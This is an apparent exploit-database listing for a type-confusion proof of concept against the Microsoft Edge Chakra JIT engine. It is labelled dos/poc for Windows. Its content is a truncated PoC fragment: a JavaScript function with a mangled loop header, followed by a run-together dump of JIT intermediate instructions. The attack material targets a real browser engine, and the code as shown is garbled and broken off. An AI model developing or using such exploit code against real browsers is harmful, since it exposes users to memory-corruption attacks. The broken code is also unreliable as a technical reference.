Microsoft Edge Chakra JIT - Type Confusion with Hoisted SetConcatStrMultiItemBE Instructions Exploit

Exploit for windows platform in category dos / poc / Here's a PoC: / function optstr for let i = 0; i .var s9.var = LdSlot s32s18l53.var s7.var = LdSlot s20s18l51.var s8.var = LdSlot s19s18l52.var s1Object.var = LdA 0x7FFFF47A0000 GlobalObjectObject.var s2.var = LdCAI4 0 0x0.i32 s3.var = LdCAI4 2...